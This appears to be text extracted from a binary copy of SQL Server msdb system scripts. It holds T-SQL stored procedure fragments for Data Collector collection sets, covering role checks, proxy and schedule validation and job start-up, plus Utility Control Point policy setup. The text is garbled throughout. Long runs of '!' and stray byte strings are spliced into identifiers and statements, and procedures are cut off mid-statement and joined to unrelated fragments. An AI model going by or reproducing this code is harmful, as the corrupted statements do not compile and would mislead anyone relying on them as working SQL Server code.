        -- verify the proxy exists
        EXEC sp_verify_proxy_identifiers '@proxy_name',
                                         '@proxy_id',
                                         @proxy_name OUTPUT,
                                         @proxy_id   OUTPUT

        -- check if proxy_id is granted to dc_admin
        IF (@proxy_id NOT IN (SELECT proxy_id 
                              FROM sysproxylogin 
                              WHERE sid = USER_SID(USER_ID('dc_admin'))
                              )
            )
        BEGIN
            RAISERROR(14719, -1, -1, N'dc_admin')
            RETURN (1)
        END
    END
    ELSE -- if no proxy_id provided, get the existing proxy_id, might need it later to create new jobs
    BEGIN
        SET @proxy_id = @old_proxy_id
    END

    -- can't have both uid and name passed for the schedule
    IF (@schedule_uid IS NOT NULL) AND (@schedule_name IS NOT NULL AND @schedule_name <> N'')
    BEGIN
        RAISERROR(14373, -1, -1, '@schedule_uid', '@schedule_name')
        RETURN (1)
    END

    -- check if it attempts to remove a schedule when the collection mode is cached
    IF    (@schedule_name = N'' AND @collection_mode = 0)    OR 
        (@collection_mode IS NULL AND @old_collection_mode = 0 AND @schedule_name = N'')
    BEGIN
        RAISERROR(14683, -1, -1)    
        RETURN (1)
    END    

    -- Execute the check for the schedule as caller to ensure only schedules owned by caller can be attached
    EXECUTE AS CALLER;

    DECLARE @schedule_id int
    SET @schedule_id = NULL
    IF (@schedule_uid IS NOT NULL)
    BEGIN
        SElECT @schedule_id = schedule_id FROM sysschedules_localserver_view WHERE @schedule_uid = schedule_uid
    
        IF (@schedule_id IS NULL)
        BEGIN
            DECLARE @schedule_uid_as_char VARCHAR(36)
            SELECT @schedule_uid_as_char = CONVERT(VARCHAR(36), @schedule_uid)
            REVERT;
            RAISERROR(14262, -1, -1, N'@schedule_uid', @schedule_uid_as_char)
            RETURN (1)
        END
    END
    ELSE IF (@schedule_name IS NOT NULL AND @schedule_name <> N'') -- @schedule_name is not null
    BEGIN
        SELECT @schedule_id = schedule_id, @schedule_uid = schedule_uid FROM sysschedules_localserver_view WHERE name = @schedule_name 
    
        IF (@schedule_id IS NULL)
        BEGIN
            REVERT;
            RAISERROR(14262, -1, -1, N'@schedule!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<[1/LC2_name', @schedule_name)
            RETURN (1)
        END
    END

    REVERT;
    
    -- Stop the collection set if it is currently running
    IF (@is_running = 1 AND (
            @new_name IS NOT NULL OR 
            @target IS NOT NULL OR 
            @proxy_id IS NOT NULL OR 
            @logging_level IS NOT NULL OR 
            @collection_mode IS NOT NULL))
    BEGIN
        EXEC @retVal = sp_syscollector_stop_collection_set @collection_set_id = @collection_set_id
        IF (@retVal <> 0)
            RETURN (1)
    END

    -- Passed all necessary checks, go ahead with the update
    EXEC @retVal = sp_syscollector_update_collection_set_internal
        @collection_set_id = @collection_set_id,
        @collection_set_uid = @collection_set_uid,
        @name = @name,
        @new_name = @new_name,
        @target = @target,
        @collection_mode = @collection_mode,
        @days_until_expiration = @days_until_expiration,
        @proxy_id = @proxy_id,
        @proxy_name = @proxy_name,
        @schedule_uid = @schedule_uid,
        @schedule_name = @schedule_name,
        @logging_level = @logging_level,
        @description = @description,
        @schedule_id = @schedule_id,
        @old_collection_mode = @old_collection_mode,
        @old_proxy_id = @old_proxy_id,
        @old_collection_job_id = @old_collection_job_id,
        @old_upload_job_id = @old_upload_job_id
            
     IF (@retVal <> 0)
        RETURN (1)
        
     -- Restart the collection set if it has been already running
     IF (@is_running = 1)
     BEGIN
         EXEC @retVal = sp_syscollector_start_collection_set
                            @collection_set_id = @collection_set_id
         IF (@retVal <> 0)
            RETURN (1)
     END
        
     RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(205
=vxCREATE PROCEDURE [dbo].[sp_syscollector_run_collection_set]
    @collection_set_id        int = NULL,
    @name                     sysname = NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_run_collection_set
    ELSE
        BEGIN TRANSACTION

    BEGIN TRY


    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END
    REVERT;

    -- Verify the input parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    -- Make sure the collection set is in the right mode
    DECLARE @collection_mode smallint
    DECLARE @collection_set_uid uniqueidentifier;

    SELECT 
        @collection_set_uid = collection_set_uid,
        @collection_mode = collection_mode            
    FROM [dbo].[syscollector_collection_sets]
    WHERE collection_set_id = @collection_set_id

    IF (@collection_mode <> 1)
    BEGIN
        RAISERROR(14695, -1, -1, @name)
        RETURN(1)
    END


    -- Make sure the collector is enabled
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 1
    IF (@retVal <> 0)
        RETURN (1)

    -- check if SQL Server Agent is enabled
    DECLARE @agent_enabled int
    SELECT @agent_enabled = CAST(value_in_use AS int) FROM sys.configurations WHERE name = N'Agent XPs'
    IF @agent_enabled <> 1
    BEGIN
        RAISERROR(14688, -1, -1)
        RETURN (1)
    END

    -- check if MDW is setup
    DECLARE @instance_name sysname
    SELECT @instance_name = CONVERT(sysname,parameter_value)
    FROM [msdb].[dbo].[syscollector_config_store_internal]
    WHERE parameter_name = N'MDWInstance'
    IF (@instance_name IS NULL)
    BEGIN
        RAISERROR(14689, -1, -1)
        RETURN (1)
    END    
    DECLARE @database_name sysname
    SELECT @database_name = CONVERT(sysname,parameter_value)
    FROM [msdb].[dbo].[syscollector_config_store_internal]
    WHERE parameter_name = N'MDWDatabase'
    IF (@database_name IS NULL)
    BEGIN
        RAISERROR(14689, -1, -1)
        RETURN (1)
    END

    -- Make sure the jobs are created for the collection set
    -- Verify the input parameters
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    -- Check if the collection set does not have any collection items
    IF NOT EXISTS(
        SELECT i.collection_item_id 
        FROM [dbo].[syscollector_collection_sets] AS s
        INNER JOIN [dbo].[syscollector_collection_items] AS i
            ON(s.collection_set_id = i.collection_set_id)
        WHERE s.collection_set_id = @collection_set_id
    )
    BEGIN
        RAISERROR(14685, 10, -1, @name) -- Raise a warning message
        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END

    DECLARE @proxy_id int;
    DECLARE @collection_job_id uniqueidentifier
    DECLARE @upload_job_id uniqueidentifier

    SELECT @collection_job_id = collection_job_id, 
           @upload_job_id = upload_job_id, 
           @proxy_id = proxy_id
    FROM [dbo].[syscollector_collection_sets_internal]
    WHERE collection_set_id = @collection_set_id;

    -- Check if the set does not have a proxy
    IF (@proxy_id IS NULL)
    BEGIN
        -- to start a collection set without a proxy, the caller has to be a sysadmin
        EXECUTE AS CALLER;
            IF (NOT (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1))
            BEGIN
                REVERT;
                RAISERROR(14692, -1, -1, @name)
                RETURN (1)
            END
        REVERT;
    END

    -- Check if we have jobs created, and if not, create them
    DECLARE @jobs_just_created bit
    SET @jobs_just_created = 0  -- False until further notice
    IF (@collection_job_id IS NULL AND @upload_job_id IS NULL)
    BEGIN
        DECLARE @schedule_id int;
        DECLARE @schedule_uid uniqueidentifier;

        SELECT 
            @schedule_uid = schedule_uid
        FROM [dbo].[syscollector_collection_sets_internal]
        WHERE collection_set_id = @collection_set_id;
        
        IF (@schedule_uid IS NOT NULL)
        BEGIN
            SELECT @schedule_id = schedule_id FROM sysschedules_localserver_view WHERE @schedule_uid = schedule_uid
        END

        -- Sanity check
        -- Make sure the proxy and schedule are still there, someone could have
        -- remove them between when the collection set was created and now.
        IF (@proxy_id IS NOT NULL)
        BEGIN
            DECLARE @proxy_name sysname
            
            -- this will throw an error of proxy_id does not exist
            EXEC @retVal = msdb.dbo.sp_verify_proxy_identifiers '@proxy_name', '@proxy_id', @proxy_name OUTPUT, @proxy_id OUTPUT
            IF (@retVal <> 0)
                RETURN (0)
        END

        IF (@schedule_uid IS NOT NULL)
        BEGIN
            EXEC @retVal = sp_verify_schedule_identifiers  @name_of_name_parameter = '@schedule_name',
                                                           @name_of_id_parameter   = '@schedule_id',
                                                           @schedule_name          = NULL,
                                                           @schedule_id            = @schedule_id,
                                                           @owner_sid              = NULL,
                                                           @orig_server_id         = NULL 
            IF (@retVal <> 0)
                RETURN (1)
        END

        -- Go add the jobs
        EXEC [dbo].[sp_syscollector_create_jobs]
            @collection_set_id    = @collection_set_id,
            @collection_set_uid = @collection_set_uid,
            @collection_set_name = @name,
            @proxy_id            = @proxy_id,
            @schedule_id        = @schedule_id,
            @collection_mode    = @collection_mode,
            @collection_job_id    = @collection_job_id OUTPUT,
            @upload_job_id        = @upload_job_id OUTPUT

        -- Finally, update the collection_sets table
        UPDATE [dbo].[syscollector_collection_sets_internal]
        SET
            upload_job_id        = @upload_job_id,
            collection_job_id    = @collection_job_id
        WHERE @collection_set_id = collection_set_id

        SET @jobs_just_created = 1  -- Record the fact that we have just created the job here
    END

    IF (@jobs_just_created = 1)
    BEGIN  -- We created the jobs here in this transaction, post a request for agent to start as soon as we commit
        EXEC @retVal = sp_start_job @job_id = @upload_job_id
        IF (@retVal <> 0)
            RETURN (1)
    END
    ELSE   
    BEGIN
        -- The jobs were created previously, we need to guard against it already executing by the schedule
        -- So, check if the job is currently running before asking agent to start it
        DECLARE @is_upload_job_running INT
        EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
            @collection_set_id = @collection_set_id,
            @is_upload_running = @is_upload_job_running OUTPUT

        IF (@is_upload_job_running = 0)
        BEGIN
            -- Job is not running, we can trigger it now
            -- We run only one job because for this (non-cached) mode there is only one job. The same id is stored
            -- as collection and upload job id
            EXEC @retVal !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Q3O9;x= sp_start_job @job_id = @upload_job_id
            IF (@retVal <> 0)
                RETURN (1)
        END
    END

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)

    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_run_collection_set

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)        
    END CATCH
END
''job ... %s', 0, 1, @dac_perf_job_name)  WITH NOWAIT;   
      EXEC msdb.dbo.sp_update_job @job_id=@dac_perf_job_id, @enabled=1     
      
      -- Start the jobs
      RAISERROR('Starting job ... %s', 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_start_job @job_id=@collect_and_upload_job_id
      
      RAISERROR('Starting job ... %s', 0, 1, @dac_perf_job_name)  WITH NOWAIT;   
      EXEC msdb.dbo.sp_start_job @job_id=@dac_perf_job_id

  COMMIT TRANSACTION @tran_name
  
  END TRY
  
  BEGIN CATCH
        -- Roll back our transaction if it's still open
        IF (@@TRANCOUNT > 0)
        BEGIN
            ROLLBACK TRANSACTION;
        END;
 
        -- Rethrow the error.  Unfortunately, we can't retrow the exact same error number b/c RAISERROR 
        -- does not allow you to use error numbers below 13000.  We rethrow error 14684: 
        -- Caught error#: %d, Level: %d, State: %d, in Procedure: %s, Line: %d, with Message: %s
        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, -1, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
    END CATCH;

END
++ICY', @name=N'UtilityVolumeSpaceUnderUtilizationPolicy', @marker=1

    SELECT @computer_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Computer'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityVolumeSpaceUnderUtilizationPolicy',@rollup_object_type=3,@rollup_object_urn=@computer_urn,@target_type=6,@resource_type=1,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- Update sysutility_ucp_health_policies_internal entries to system policies 
    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    IF EXISTS(SELECT COUNT(*) FROM msdb.dbo.sysutility_ucp_health_policies_internal)
    BEGIN
        UPDATE msdb.dbo.sysutility_ucp_health_policies_internal SET is_global_policy = 1
    END    
    
    -- Compute default health states during UCP creation (boot strap scenario)
    EXEC msdb.dbo.sp_sysutility_ucp_calculate_health
    
    --**********************************************************************
    -- Mark all newly created sp_sysutility* artifacts as system.
    -- (code extracted and modified from "Mark system objects" in instdb.sql.)
    --**********************************************************************
    BEGIN
        declare @name sysname;
        declare newsysobjs cursor for select name from sys.objects where schema_id = 1 and name LIKE '%sysutility%' and create_date >= @start 
        open newsysobjs
        fetch next from newsysobjs into @name
        while @@fetch_status = 0
        begin
            Exec sp_MS_marksystemobject @name
            fetch next from newsysobjs into @name
        end
        deallocate newsysobjs
    END

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!